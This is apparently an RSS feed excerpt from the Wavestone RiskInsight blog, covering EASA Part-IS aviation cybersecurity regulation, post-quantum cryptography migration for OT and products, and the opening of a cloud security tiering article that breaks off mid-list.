<p style="text-align: justify;"><span data-contrast="none">Today, the organisations concerned by Part-IS have acknowledged the subject and submitted their ISMS. In this context of broad engagement, EASA has on its side adjusted the framework by clarifying and easing certain modalities through the update of the Part-IS AMC and GM.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">EASA provides for an 18-month development phase after the applicability date to reach a fully operational implementation. This progression can be read simply in three steps: a system that is first present and suitable (</span><i><span data-contrast="none">P+S</span></i><span data-contrast="none">), then operational (</span><i><span data-contrast="none">O</span></i><span data-contrast="none">), before reaching effective long-term functioning (</span><i><span data-contrast="none">E</span></i><span data-contrast="none">).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"><img loading="lazy" decoding="async" class=" wp-image-29838 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/LigneEN.png" alt="" width="736" height="438" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/LigneEN.png 955w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/LigneEN-321x191.png 321w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/LigneEN-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/LigneEN-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/LigneEN-768x457.png 768w" sizes="auto, (max-width: 736px) 100vw, 736px" /></span></p>
<h1 style="text-align: justify;"><span data-teams="true">EASA updates: What you need to know in practice</span></h1>
<p style="text-align: justify;"><span data-contrast="none">In late 2025, EASA updated the AMC and GM relating to Part-IS and consolidated these changes in a new version of the associated Easy Access Rules.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:180,&quot;335559739&quot;:180,&quot;335559740&quot;:240,&quot;335559991&quot;:180}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">In concrete terms, these changes introduce several significant easements:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:180,&quot;335559739&quot;:180,&quot;335559740&quot;:240,&quot;335559991&quot;:180}"> </span></p>
<ul style="text-align: justify;">
<li><span data-contrast="none">Declared organisations no longer need prior approval of their ISMS.</span>
<ul>
<li>As a reminder, approved organisations are subject to a formal approval process by the authority (EASA or national authority). They must obtain approval, have their ISMS manual approved, and submit certain modifications for prior validation — unlike declared organisations, which are supervised ex post by the authority. The list of declared organisations subject to Part-IS can be found <a style="font-size: revert;" href="https://www.easa.europa.eu/en/faq/142354"><span data-contrast="none">here</span></a><span style="font-size: revert; color: initial;" data-contrast="none">.</span><span style="font-size: revert; color: initial;" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></li>
</ul>
</li>
<li><span data-contrast="none">ISMS modifications, when covered by a defined internal procedure, no longer require formal sign-off from the authority: a notification is sufficient.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="none">The role of the authority is refocused on supervision and audit, rather than on a systematic approval logic.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="size-full wp-image-29834 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableEN.png" alt="" width="1280" height="548" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableEN.png 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableEN-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableEN-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableEN-768x329.png 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></p>
<p style="text-align: justify;"><span data-contrast="none">However, expectations remain the same: the ISMS (SGSI in the regulatory sense) must be robust, consistent, traceable, and genuinely applied. The relief brought by the AMC and GM update is therefore administrative, not operational.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">On the ground, this resonates with the first OSAC feedback on ISMS: governance around the ISMS appears as a central point. Authorities are paying increased attention to the cybersecurity dimension that identified actors must demonstrate. Document quality is also scrutinised — not only in substance, but also in form (structure, consistency…).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">The five key challenges for scaling Part-IS across the sector </h1>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="size-full wp-image-29846 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5EN.png" alt="" width="1280" height="446" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5EN.png 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5EN-437x152.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5EN-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5EN-768x268.png 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></p>
<p style="text-align: justify;"><span data-contrast="none">Beyond these initial observations, we have seen during our support engagements that the implementation of Part-IS brings five recurring challenges for most organisations: governance &amp; coordination, inventory validation, completion of risk analyses, training of managers and teams, HR constraints and personnel controls.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">The most time-consuming, however, remains the risk analysis — particularly for large multi-site organisations. This can no longer be purely centralised; it must be broken down locally, integrating the realities of each site, functional chains, and subcontractors. This holistic approach is demanding, but essential to demonstrate consistent application of Part-IS.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">A pragmatic approach to scaling up </h1>
<p style="text-align: justify;"><span data-contrast="none">Faced with these challenges, the key lies in anticipating deployment. An effective ISMS relies on a solid common foundation, but also on concrete tools enabling local adaptation: templates, guides, risk analysis methods tailored to operational realities.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">The success of Part-IS depends on coordination between cybersecurity teams, business teams, and quality and compliance functions. Part-IS is not an additional layer: it is a cross-cutting framework that durably structures cyber risk management in the service of aviation safety.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">Conclusion </h1>
<p style="text-align: justify;"><span data-contrast="none">In 2026, Part-IS enters its implementation phase. The consolidation of the AMC/GM sets a clear baseline and reduces the administrative burden compared to the first version.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">In addition, the late-2025 updates notably extended the scope of Part-IS.D.OR to ground handling service providers via Delegated Regulation (EU) 2025/22 amending (EU) 2022/1645, applicable from 27 March 2031. No immediate operational impact in 2026, but a useful signal to anticipate interface mapping — with no short-term urgency.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/04/part-is-in-2026-from-regulatory-framework-to-operational-reality/">Part-IS in 2026: from regulatory framework to operational reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2026/04/part-is-in-2026-from-regulatory-framework-to-operational-reality/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Post-Quantum Cryptography for products &#038; OT: From trends to industrial reality</title>
		<link>https://www.riskinsight-wavestone.com/en/2026/02/post-quantum-cryptography-for-products-ot-from-trends-to-industrial-reality/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2026/02/post-quantum-cryptography-for-products-ot-from-trends-to-industrial-reality/#respond</comments>
		
		<dc:creator><![CDATA[Bertrand Carlier]]></dc:creator>
		<pubDate>Wed, 18 Feb 2026 15:42:58 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29022</guid>

					<description><![CDATA[<p>Post-Quantum Cryptography (PQC) has fueled debates for years, but since the European Commission’s June 2025 communication on the PQC transition roadmap, the acceleration is undeniable. It is no longer a question of “if” but rather “when”, quantum computing will disrupt our cryptographic foundations. As the Wavestone RiskInsight article  « Quantum computing and post-quantum cryptography: what strategy should companies adopt to deal with these issues? » reminds us, this subject shifts...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/02/post-quantum-cryptography-for-products-ot-from-trends-to-industrial-reality/">Post-Quantum Cryptography for products &amp; OT: From trends to industrial reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><b><span data-contrast="auto">Post-Quantum Cryptography</span></b><span data-contrast="auto"> </span><b><span data-contrast="auto">(PQC)</span></b><span data-contrast="auto"> has fueled debates for years, but since the </span><b><span data-contrast="auto">European Commission’s June 2025 communication </span></b><a href="https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography"><b><span data-contrast="none">on the PQC transition roadmap</span></b></a><span data-contrast="auto">, the acceleration is undeniable. It is no longer a question of “if” but rather “when”, quantum computing will disrupt our cryptographic foundations. As the Wavestone RiskInsight article  </span><a href="https://www.riskinsight-wavestone.com/en/2025/03/quantum-computing-and-post-quantum-cryptography-how-to-deal-with-these-issues/"><span data-contrast="none">« Quantum computing and post-quantum cryptography: what strategy should companies adopt to deal with these issues? »</span></a><span data-contrast="auto"> </span><span data-contrast="auto">reminds us, this subject shifts from a long-term perspective to a </span><b><span data-contrast="auto">strategic imperative </span></b><span data-contrast="auto">for CISOs, CTOs and product teams. How does that change your </span><b><span data-contrast="auto">industrial environments </span></b><span data-contrast="auto">as well as your </span><b><span data-contrast="auto">smart products</span></b><span data-contrast="auto">, and how to act as of now?</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1><span data-contrast="none">Quantum Threats: a new era for industrial cryptography</span><span data-ccp-props="{}"> </span></h1>
<p><span data-contrast="auto">Quantum computing represents a threat to traditional cryptographic algorithms which guarantee integrity, authenticity and confidentiality of communications, including those of OT systems and products. Even if “</span><b><span data-contrast="auto">Q-Day</span></b><span data-contrast="auto">” (the day quantum computers will break current cryptography) is still several years away, the risk is already present: threat actors can already use </span><b><span data-contrast="auto">« </span></b><b><i><span data-contrast="none">H</span></i></b><b><i><span data-contrast="auto">arvest Now, Decrypt Later</span></i></b><b><span data-contrast="auto"> »</span></b><span data-contrast="auto"> attacks by storing encrypted data today to decrypt them as soon as current cryptographic algorithms are broken. Another risk, just as critical, is already appearing: </span><b><span data-contrast="auto">«</span></b><b><span data-contrast="auto"> </span></b><b><span data-contrast="auto">Trust Now, Forge Later</span></b><b><span data-contrast="auto"> </span></b><b><span data-contrast="auto">»</span></b><span data-contrast="auto">. Digital signatures or certificates seen as reliable today could be falsified tomorrow, allowing transparent deployment of malwares or even compromising supply chains. Unlike progressive data breach, this attack triggers </span><b><span data-contrast="auto">an immediate collapse of trust and integrity</span></b><span data-contrast="auto">, with massive impacts on </span><b><span data-contrast="auto">industrial environments</span></b><span data-contrast="auto"> and </span><b><span data-contrast="auto">smart products</span></b><span data-contrast="auto">. With the </span><b><span data-contrast="auto">European roadmap</span></b><span data-contrast="auto">, structuring 2026, 2030 and 2035, the question hinges on the sequencing of the transition.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Within the industrial sector, where assets are used for </span><b><span data-contrast="auto">multiple decades</span></b><span data-contrast="auto">, this represents a major concern: OT environments and embedded products depend on critical cryptographic usage that will be directly impacted by the arrival of post-quantum algorithms.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Key OT and product use cases include:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Secure administration of OT systems and products</span></b><span data-contrast="auto">: guarantee the integrity and confidentiality of operations.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Digital signatures and firmware integrity</span></b><span data-contrast="auto">: guarantee the reliability of software updates (secure boot, code signing, X.509…).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Secure remote access to industrial assets and products</span></b><span data-contrast="auto">: protect VPN, SSH, RDP connections as well as other protocols from future attacks.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Data exchanges IT/OT</span></b><span data-contrast="auto">: secure flows between information systems and industrial environments (TLS, MQTTS, HTTPS…).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Data confidentiality of industrial processes</span></b><span data-contrast="auto">: preserve the confidentiality of sensitive data in transit or at rest.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Secure logging and event history</span></b><span data-contrast="auto">: ensure the traceability and integrity of logs and historical data.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
</ul>
<p><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> <img loading="lazy" decoding="async" class="alignnone  wp-image-29019 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en1.png" alt="" width="687" height="368" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en1.png 1027w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en1-357x191.png 357w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en1-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en1-768x411.png 768w" sizes="auto, (max-width: 687px) 100vw, 687px" /></span></p>
<h1><span data-contrast="none">PQC for OT &amp; Products: Address the constraints while preserving crypto-agility</span><span data-ccp-props="{}"> </span></h1>
<h2><span data-contrast="none">OT &amp; Products context: specific constraints</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h2>
<p><span data-contrast="auto">OT systems and products were never conceived for </span><b><span data-contrast="auto">crypto-agility</span></b><span data-contrast="auto">. Numerous industrial protocols, for instance DNP3, Modbus or MQTT, are not encrypted as of today because OT architecture historically depends more on network isolation than on cryptography, thus there is no reason to think they will be encrypted tomorrow with post-quantum algorithms.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Nevertheless, encrypted communications will undergo this cryptographic disruption.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">In a second step, multiple OT devices face significant hardware constraints (CPU, memory, storage capacity) and have a very long lifespan, often between 10 and 30 years. Those characteristics make updates difficult and expensive: secure remote update mechanisms are still rare, and firmware signing is not consistently implemented, which is in fact bad practice.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Those constraints explain why OT environments cannot integrate new cryptographic primitives at the same speed as IT, and why PQC isn’t yet natively considered.</span><span data-ccp-props="{}"> </span></p>
<p><strong>Nevertheless, even if current products and OT systems aren’t conceived for post-quantum cryptography, the emergence of PQC standards, the evolution of regulatory obligations and the rise of risks linked to quantum computing make this transition essential in the medium term. </strong></p>
<p><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"><img loading="lazy" decoding="async" class=" wp-image-29017 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en2.png" alt="" width="743" height="285" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en2.png 1402w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en2-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en2-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en2-768x295.png 768w" sizes="auto, (max-width: 743px) 100vw, 743px" /></span></p>
<h2><span data-contrast="none">Making crypto-agility operational for the industry and products</span><span data-ccp-props="{}"> </span></h2>
<p><span data-contrast="auto">The scoping of the PQC project for Products and OT can be broken down into four main components:</span><span data-ccp-props="{}"> </span></p>
<p><b><span data-contrast="auto">1. Conduct the cryptographical inventory and prioritize critical assets </span></b><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Start the dialogue with your cryptographic platform providers (PKI, KMS, HSM) now, to anticipate the migration.</span><span data-ccp-props="{&quot;335559685&quot;:720}"> </span></p>
<p><b><span data-contrast="auto">2. Conceive and deploy crypto-agile architectures</span></b><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Rely exclusively on NIST-standardized algorithms (for instance: </span><b><span data-contrast="auto">ML-KEM, ML-DSA, SLH-DSA</span></b><span data-contrast="auto">) and prohibit any </span><b><span data-contrast="auto">internal development</span></b><span data-contrast="auto"> or </span><b><span data-contrast="auto">non-standard</span></b><span data-contrast="auto"> library for cryptographical components; prioritizing validated and proven solutions.</span><span data-ccp-props="{&quot;335559685&quot;:708}"> </span></p>
<p><span data-contrast="auto">Conceiving crypto-agile architecture implies accounting for the </span><b><span data-contrast="auto">embedded aspect and its constraints</span></b><span data-contrast="auto"> (limited memory, PCBs, energy resources). The implementation of PQC algorithms on those systems remains uncertain. Nevertheless, optimized algorithms for embedded systems are starting to emerge and open the way to its realistic adoption.</span><span data-ccp-props="{&quot;335559685&quot;:708}"> </span></p>
<p><span data-ccp-props="{&quot;335559685&quot;:720}"><img loading="lazy" decoding="async" class="alignnone  wp-image-29015 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en3.png" alt="" width="747" height="258" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en3.png 1444w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en3-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en3-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_en3-768x265.png 768w" sizes="auto, (max-width: 747px) 100vw, 747px" /></span></p>
<p><b><span data-contrast="auto">3. Progressively migrate through hybridization and iteration </span></b><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Transition towards post-quantum cryptography cannot be approached as a one-off project or a “one-shot” migration. </span><span data-contrast="none">It is an iterative process that must be managed and governed over time, by starting with hybridization of algorithms:</span><span data-contrast="auto"> this is explicitly recommended by ANSSI (France’s National Cybersecurity Agency) and the European Commission.</span><span data-ccp-props="{&quot;335559685&quot;:720}"> </span></p>
<p><span data-contrast="auto">Crypto-agility isn’t an option, but a necessity to ensure resilience and compliance for industrial environments and products from the quantum threat. This depends on a </span><b><span data-contrast="none">structured approach, driven by inventory, architecture, hybrid migration and governance.</span></b><span data-contrast="auto"> </span><span data-ccp-props="{}"> </span></p>
<h1><span data-contrast="none">Operational feedback &amp; concrete use cases: stakeholders at different stages</span><span data-ccp-props="{}"> </span></h1>
<p><span data-contrast="auto">Our field experience reveals a noteworthy maturity gap between two industrial organizations when dealing with post-quantum cryptography:</span><span data-ccp-props="{}"> </span></p>
<p><b><span data-contrast="auto">1. Organizations with a rudimentary understanding</span></b><span data-ccp-props="{}"> </span></p>
<ul>
<li><b><span data-contrast="auto"> Observation</span></b><span data-contrast="auto">: In numerous industrial environments, PQC remains an abstract concept, often seen as distant or limited to experts. </span><span data-ccp-props="{}"> </span></li>
<li><b><span data-contrast="auto">Symptoms</span></b><span data-contrast="auto">: </span><span data-ccp-props="{}"> </span>
<ul>
<li><span data-contrast="auto">Operational and business teams aren’t part of strategic deliberations on cryptography.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><b><span data-contrast="auto">Current roadmaps lack maturity and clarity</span></b><span data-contrast="auto">; the underlying projects costs are often underestimated. Priority remains on service availability; quantum security is therefore deprioritized.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><b><span data-contrast="auto">HNDL &amp; TNFL</span></b><span data-contrast="auto"> concepts are poorly understood, if not outright ignored.</span>  </li>
</ul>
</li>
<li><b><span data-contrast="auto">Risks</span></b><span data-contrast="auto">: </span><span data-ccp-props="{}"> </span>
<ul>
<li><b><span data-contrast="auto">Disruption of industrial production processes and data breaches</span></b><span data-contrast="auto">: vulnerable communications between critical assets, based on outdated algorithms, expose sensitive data and can cause interruptions or major disturbances in industrial operations (loss of integrity of the data).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><b><span data-contrast="auto">Production downtime caused by abrupt migration:</span></b><span data-contrast="auto"> A forced transition towards post-quantum cryptography, without preparation nor crypto-agility, can lead to production interruptions, significant additional costs and severe impacts on operational continuity.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
</ul>
</li>
</ul>
<p><b><span data-contrast="auto">2. Product suppliers: pioneers already undergoing industrialization</span></b><span data-ccp-props="{}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Observation: </span></b><span data-contrast="auto">On the contrary, some product suppliers are already ahead (including automotive and smart objects).</span><span data-ccp-props="{}"> </span></li>
<li><b><span data-contrast="auto">Symptoms: </span></b><span data-ccp-props="{}"> </span>
<ul>
<li><span data-contrast="auto">PQC projects are prioritized over critical use cases: firmware and update signatures (OTA), device identity management, secure remote access, etc.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">Pilot projects are being launched on product lines or representative environments, with concrete feedback on performance, compatibility and robustness of hybrid solutions </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">The process is being industrialized: Integration of PQC clauses in supplier contracts, automation of cryptographic inventory </span><b><span data-contrast="auto">CBOM</span></b><span data-contrast="auto">, team upskilling, and dedicated governance.</span></li>
</ul>
</li>
</ul>
<h1><span data-contrast="none">Conclusion &amp; Roadmap: Take action to build a quantum-safe future</span><span data-ccp-props="{}"> </span></h1>
<p><span data-contrast="auto">Quantum threat is no longer a distant prospect: it already demands a significant transformation of industrial and product cybersecurity.</span><span data-ccp-props="{}"> </span></p>
<ol>
<li><b><span data-contrast="auto">Plan ahead to protect the future</span></b><span data-ccp-props="{}"> </span></li>
</ol>
<p><span data-contrast="auto">Demystify quantum concepts and incorporate them in your cybersecurity processes, including your products, your OT environments or your IT systems. Planning ahead is the key to preventing a major disruption.</span><span data-ccp-props="{&quot;335559685&quot;:708}"> </span></p>
<ol start="2">
<li><b><span data-contrast="auto"> Make crypto-agility a strategic vision</span></b></li>
</ol>
<p><span data-contrast="auto">Stop viewing it as merely a technical project, but as a pillar of your resilience and of your digital sovereignty. Build a clear roadmap, with milestones in the short, medium and long term.</span><span data-ccp-props="{&quot;335559685&quot;:708}"> </span></p>
<ol start="3">
<li><b><span data-contrast="auto">Rely on trusted partners</span></b><span data-ccp-props="{}"> </span></li>
</ol>
<p><span data-contrast="auto">The market is ready: experts and solutions exist to support you through the modernization and securing of your critical infrastructure. Don’t face complexity on your own. </span><span data-ccp-props="{&quot;335559685&quot;:708}"> </span></p>
<ol start="4">
<li><b><span data-contrast="auto"> Industrialize the process</span></b></li>
</ol>
<p><span data-contrast="auto">Move from pilot projects to broader rollout: </span><span data-ccp-props="{}"> </span></p>
<ul>
<li><span data-contrast="auto">Implement a PQC strategy to map out, prioritize and pilot the migration of critical uses (include PQC clauses in contracts).</span><span data-ccp-props="{}"> </span></li>
<li><span data-contrast="auto">Start a transition program to modernize trust infrastructure components (PKI, CLM, HSM), automate the inventory and ensure the operational continuity.</span><span data-ccp-props="{}"> </span></li>
<li><span data-contrast="auto">Rely on peers’ feedback as well as feedback from sectors already engaged in PQC.</span><span data-ccp-props="{}"> </span></li>
</ul>
<h6><strong>Quantum risk is already there: weakened asymmetric encryption, leaving signatures and data exposed. </strong></h6>
<p><span data-contrast="auto">As mentioned previously, we start from the observation that elements that aren’t encrypted today in OT environments are not meant to be encrypted tomorrow with post-quantum algorithms, because already existing measures ensure a risk level judged acceptable.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">In other words, PQC doesn’t aim to transform the entirety of OT, but to protect the uses that </span><b><span data-contrast="none">really rely on cryptographical components exposed to quantum risk.</span></b><span data-ccp-props="{}"> </span></p>
<p><b><span data-contrast="none">However, this observation doesn’t reduce the importance of planning.</span></b><span data-ccp-props="{}"> </span></p>
<h6><strong>The two priorities remain as follows: </strong></h6>
<ul>
<li><span data-contrast="none">Migrate your assets before 2030 and act today to protect data confidentiality</span><span data-ccp-props="{}"> </span></li>
<li><span data-contrast="none">Define your perimeter, build your roadmap, and above all, begin the migration process today.</span><span data-ccp-props="{}"> </span></li>
</ul>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/02/post-quantum-cryptography-for-products-ot-from-trends-to-industrial-reality/">Post-Quantum Cryptography for products &amp; OT: From trends to industrial reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2026/02/post-quantum-cryptography-for-products-ot-from-trends-to-industrial-reality/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cloud Security: Adapting to a new reality</title>
		<link>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Wed, 28 Jan 2026 09:09:10 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ABAC]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[cloud security]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[enterprise access model]]></category>
		<category><![CDATA[IAM Cloud]]></category>
		<category><![CDATA[REX RedTeam]]></category>
		<category><![CDATA[Tiering]]></category>
		<category><![CDATA[Trust Core]]></category>
		<category><![CDATA[Trust Core Cloud]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28917</guid>

					<description><![CDATA[<p>Audits and Red Team assessments led by Wavestone showed a stark imbalance between the maturity of on-premise infrastructure protection and the cloud deployment ones. While on-premise infrastructure are generally well identified, controlled and protected according to proven standards, their cloud...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/">Cloud Security: Adapting to a new reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Audits and Red Team assessments led by Wavestone showed a <strong>stark imbalance between the maturity of on-premise infrastructure protection and the cloud deployment ones.</strong> While on-premise infrastructure are generally well identified, controlled and protected according to proven standards, their cloud counterparts are often underestimated in terms of risks and consequently, insufficiently secured.</p>
<p> </p>
<h2>Is the tiering principle promoted for on-premise infrastructure applicable to the cloud?</h2>
<h3>Evolution of the Security Model</h3>
<p style="text-align: justify;">In on-premises <strong>Active Directory</strong> environments, infrastructure security generally relies on <strong>strict segmentation into three tiers (T0, T1, and T2)</strong>. This allows for the isolation of critical administration systems (T0), servers (T1), and user workstations (T2) in order to limit propagation risks.</p>
<p style="text-align: justify;">This hierarchical and perimeter-based organization is inherent to the AD world and cannot be directly applied to the cloud for the following two main reasons:</p>
<ul style="text-align: justify;">
<li><strong>Portals are centralized</strong>: A wide variety of administrators with different rights.</li>
<li><strong>The boundary between administration levels is more complex</strong>: The principle of granular permissions, whether Role-Based (RBAC), Attribute-Based (ABAC), or conditional (location, risk, compliance, authentication methods, etc.) allows for very precise access configuration, but it complicates and obscures the global view of permissions.</li>
</ul>
<p style="text-align: justify;">To address this new paradigm, Microsoft published its Enterprise Access Model (<span style="color: #333399;"><a style="color: #333399;" href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model">described here</a></span>), highlighting three main planes: the <em>Control Plane</em>, <em>Management Plane</em>, and <em>Data Plane</em>.</p>
<p style="text-align: justify;">This model retains <strong>&#8220;cascading&#8221; criticality</strong> but simplifies it with:</p>
<ul style="text-align: justify;">
